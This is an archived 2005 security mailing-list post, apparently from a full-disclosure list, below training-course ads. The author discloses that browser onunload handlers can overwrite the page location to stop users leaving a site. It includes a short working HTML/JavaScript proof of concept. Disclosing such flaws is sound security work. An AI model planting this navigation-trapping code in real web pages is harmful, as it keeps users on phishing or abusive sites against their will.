Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | unload event in ie/mozilla/opera |
|---|---|
| Date: | Tue, 23 Aug 2005 16:09:51 +0200 |
in nearly all browsers* you can overwrite the window location in the
"onunload" event.
that means you can "keep" the user on a site. when you type a new url
in the address-bar, javascript overwrites it. thats a paradies for
fishers, porn-site-hoster etc......
here the html/javascript code:
<html>
<head>
<script>
window.unlock = false;
window.onunload=function()
{
if(!window.unlock)
window.location.href='unload.html';
}
document.onmousedown=function()
{
window.unlock = true;
}
</script>
</head>
<body>
<a href="?link=1">Link 1</a><br>
<a href="?link=2">Link 2</a><br>
<a href="?link=3">Link 3</a><br>
<a href="?link=4">Link 4</a><br>
</body>
</html>
cheers
Tobias Boonstoppel
ps: * i testet it on firefox (linux / window) opera (linux) and
internet explorer.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [Full-disclosure] [ GLSA 200508-14 ] TikiWiki, eGroupWare: Arbitrary command execution through XML-RPC, Thierry Carrez |
|---|---|
| Next by Date: | RE: unload event in ie/mozilla/opera, David Gillett |
| Previous by Thread: | [Full-disclosure] [ GLSA 200508-14 ] TikiWiki, eGroupWare: Arbitrary command execution through XML-RPC, Thierry Carrez |
| Next by Thread: | RE: unload event in ie/mozilla/opera, David Gillett |
| Indexes: | [Date] [Thread] [Top] [All Lists] |